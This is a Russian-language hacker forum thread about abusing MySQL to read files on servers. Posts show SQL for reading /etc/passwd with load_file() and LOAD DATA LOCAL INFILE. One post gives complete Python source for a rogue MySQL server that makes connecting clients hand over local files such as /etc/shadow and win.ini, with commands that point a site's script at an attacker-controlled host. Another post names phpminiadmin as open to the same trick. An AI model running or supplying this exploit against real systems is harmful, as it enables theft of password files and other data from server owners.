Server-Side load_file() vs Local Data Load Infile

Discussion in 'База Знаний' started by dooble, 7 Mar 2019.

  1. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    229
    Likes Received:
    596
    Reputations:
    145
    Эти два механизма известны давно и в хакерской среде используются для чтения файлов на сервере, например:
    Code:
    select load_file('/etc/passwd');
    
    use anyDatabase;
    CREATE TEMPORARY TABLE `tt` (`name` TEXT);
    LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE tt;
    SELECT * FROM tt;
    
    Обе конструкции в итоге прочитают /etc/passwd.
    Не буду делать по ним полное описание, остановлюсь только на их различии.

    Принципиальное различие меду ними состоит в том, что load_file() [далее LF] выполняется в контексте сервера MySQL, а load data local infile [LDLI] - в контексте клиента MySQL.
    Отсюда разница в эксплуатации:
    LF читает файлы с правами mysql, а LDLI с правами php (обычно это права веб-сервера, здесь и далее рассматривается случай работы из скриптов сайта, например из phpMyAdmin).
    Возможно чмоды выставлены так, что у mysql нет прав на чтение скриптов сайта а php не может прочитать за пределами open_basedir.

    Кстати про open_basedir и LDLI, на рдоте и в хакере писали, что LDLI обходит open_basedir, но у меня такое ни разу не прокатывало, вот по крайней мере на php, как модуль Apache, тестил на многих серверах - "open_basedir restriction in effect. Unable to open file".

    Второй важный момент, когда скрипты сайта и MySQL расположены на разных серверах.
    В этом случае LF будет читать файлы там, где сервер MySQL, а LDLI с сервера, где лежат скрипты сайта.
     
  2. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
  3. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Немного дополню старым постом с рдота.

    Для случаев когда есть возможность инициировать MySQL соединение на подконтрольный хост.

    Можно читать локальные файлы клиента. LOAD DATA LOCAL должен поддерживаться клиентом и быть включен.

    Презентация
    Видео доклада
    Фейковый MySQL

    Code:
    > service mysql stop
    > python rogue_mysql_server.py
    > curl http://site.com/script?host=evilhost&user=hacker&password=p@55w0rD&database=hack
    > cat mysql.log
    
    Code:
    #!/usr/bin/env python
    #coding: utf8
    
    
    import socket
    import asyncore
    import asynchat
    import struct
    import random
    import logging
    import logging.handlers
    
    
    
    PORT = 3306
    
    log = logging.getLogger(__name__)
    
    log.setLevel(logging.DEBUG)
    tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
    tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
    log.addHandler(
        tmp_format
    )
    
    filelist = (
    #    r'c:\boot.ini',
        r'c:\windows\win.ini',
    #    r'c:\windows\system32\drivers\etc\hosts',
    #    '/etc/passwd',
    #    '/etc/shadow',
    )
    
    
    #================================================
    #=======No need to change after this lines=======
    #================================================
    
    __author__ = 'Gifts'
    
    def daemonize():
        import os, warnings
        if os.name != 'posix':
            warnings.warn('Cant create daemon on non-posix system')
            return
    
        if os.fork(): os._exit(0)
        os.setsid()
        if os.fork(): os._exit(0)
        os.umask(0o022)
        null=os.open('/dev/null', os.O_RDWR)
        for i in xrange(3):
            try:
                os.dup2(null, i)
            except OSError as e:
                if e.errno != 9: raise
        os.close(null)
    
    
    class LastPacket(Exception):
        pass
    
    
    class OutOfOrder(Exception):
        pass
    
    
    class mysql_packet(object):
        packet_header = struct.Struct('<Hbb')
        packet_header_long = struct.Struct('<Hbbb')
        def __init__(self, packet_type, payload):
            if isinstance(packet_type, mysql_packet):
                self.packet_num = packet_type.packet_num + 1
            else:
                self.packet_num = packet_type
            self.payload = payload
    
        def __str__(self):
            payload_len = len(self.payload)
            if payload_len < 65536:
                header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
            else:
                header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
    
            result = "{0}{1}".format(
                header,
                self.payload
            )
            return result
    
        def __repr__(self):
            return repr(str(self))
    
        @staticmethod
        def parse(raw_data):
            packet_num = ord(raw_data[0])
            payload = raw_data[1:]
    
            return mysql_packet(packet_num, payload)
    
    
    class http_request_handler(asynchat.async_chat):
    
        def __init__(self, addr):
            asynchat.async_chat.__init__(self, sock=addr[0])
            self.addr = addr[1]
            self.ibuffer = []
            self.set_terminator(3)
            self.state = 'LEN'
            self.sub_state = 'Auth'
            self.logined = False
            self.push(
                mysql_packet(
                    0,
                    "".join((
                        '\x0a',  # Protocol
                        '3.0.0-Evil_Mysql_Server' + '\0',  # Version
                        #'5.1.66-0+squeeze1' + '\0',
                        '\x36\x00\x00\x00',  # Thread ID
                        'evilsalt' + '\0',  # Salt
                        '\xdf\xf7',  # Capabilities
                        '\x08',  # Collation
                        '\x02\x00',  # Server Status
                        '\0' * 13,  # Unknown
                        'evil2222' + '\0',
                    ))
                )
            )
    
            self.order = 1
            self.states = ['LOGIN', 'CAPS', 'ANY']
    
        def push(self, data):
            log.debug('Pushed: %r', data)
            data = str(data)
            asynchat.async_chat.push(self, data)
    
        def collect_incoming_data(self, data):
            log.debug('Data recved: %r', data)
            self.ibuffer.append(data)
    
        def found_terminator(self):
            data = "".join(self.ibuffer)
            self.ibuffer = []
    
            if self.state == 'LEN':
                len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
                if len_bytes < 65536:
                    self.set_terminator(len_bytes)
                    self.state = 'Data'
                else:
                    self.state = 'MoreLength'
            elif self.state == 'MoreLength':
                if data[0] != '\0':
                    self.push(None)
                    self.close_when_done()
                else:
                    self.state = 'Data'
            elif self.state == 'Data':
                packet = mysql_packet.parse(data)
                try:
                    if self.order != packet.packet_num:
                        raise OutOfOrder()
                    else:
                        # Fix ?
                        self.order = packet.packet_num + 2
                    if packet.packet_num == 0:
                        if packet.payload[0] == '\x03':
                            log.info('Query')
    
                            filename = random.choice(filelist)
                            PACKET = mysql_packet(
                                packet,
                                '\xFB{0}'.format(filename)
                            )
                            self.set_terminator(3)
                            self.state = 'LEN'
                            self.sub_state = 'File'
                            self.push(PACKET)
                        elif packet.payload[0] == '\x1b':
                            log.info('SelectDB')
                            self.push(mysql_packet(
                                packet,
                                '\xfe\x00\x00\x02\x00'
                            ))
                            raise LastPacket()
                        elif packet.payload[0] in '\x02':
                            self.push(mysql_packet(
                                packet, '\0\0\0\x02\0\0\0'
                            ))
                            raise LastPacket()
                        elif packet.payload == '\x00\x01':
                            self.push(None)
                            self.close_when_done()
                        else:
                            raise ValueError()
                    else:
                        if self.sub_state == 'File':
                            log.info('-- result')
                            log.info('Result: %r', data)
    
                            if len(data) == 1:
                                self.push(
                                    mysql_packet(packet, '\0\0\0\x02\0\0\0')
                                )
                                raise LastPacket()
                            else:
                                self.set_terminator(3)
                                self.state = 'LEN'
                                self.order = packet.packet_num + 1
    
                        elif self.sub_state == 'Auth':
                            self.push(mysql_packet(
                                packet, '\0\0\0\x02\0\0\0'
                            ))
                            raise LastPacket()
                        else:
                            log.info('-- else')
                            raise ValueError('Unknown packet')
                except LastPacket:
                    log.info('Last packet')
                    self.state = 'LEN'
                    self.sub_state = None
                    self.order = 0
                    self.set_terminator(3)
                except OutOfOrder:
                    log.warning('Out of order')
                    self.push(None)
                    self.close_when_done()
            else:
                log.error('Unknown state')
                self.push('None')
                self.close_when_done()
    
    
    class mysql_listener(asyncore.dispatcher):
        def __init__(self, sock=None):
            asyncore.dispatcher.__init__(self, sock)
    
            if not sock:
                self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
                self.set_reuse_addr()
                try:
                    self.bind(('', PORT))
                except socket.error:
                    exit()
    
                self.listen(5)
    
        def handle_accept(self):
            pair = self.accept()
    
            if pair is not None:
                log.info('Conn from: %r', pair[1])
                tmp = http_request_handler(pair)
    
    
    z = mysql_listener()
    daemonize()
    asyncore.loop()
    
    
     
    grimnir and Baskin-Robbins like this.
  4. git

    git New Member

    Joined:
    25 Feb 2021
    Messages:
    3
    Likes Received:
    3
    Reputations:
    2
    Аналог adminer'a --phpminiadmin (osalabs.com) позволяет провернуть тот-же вектор.
    Code:
    phpminiadmin.php?showcfg=1
    
     
    crlf likes this.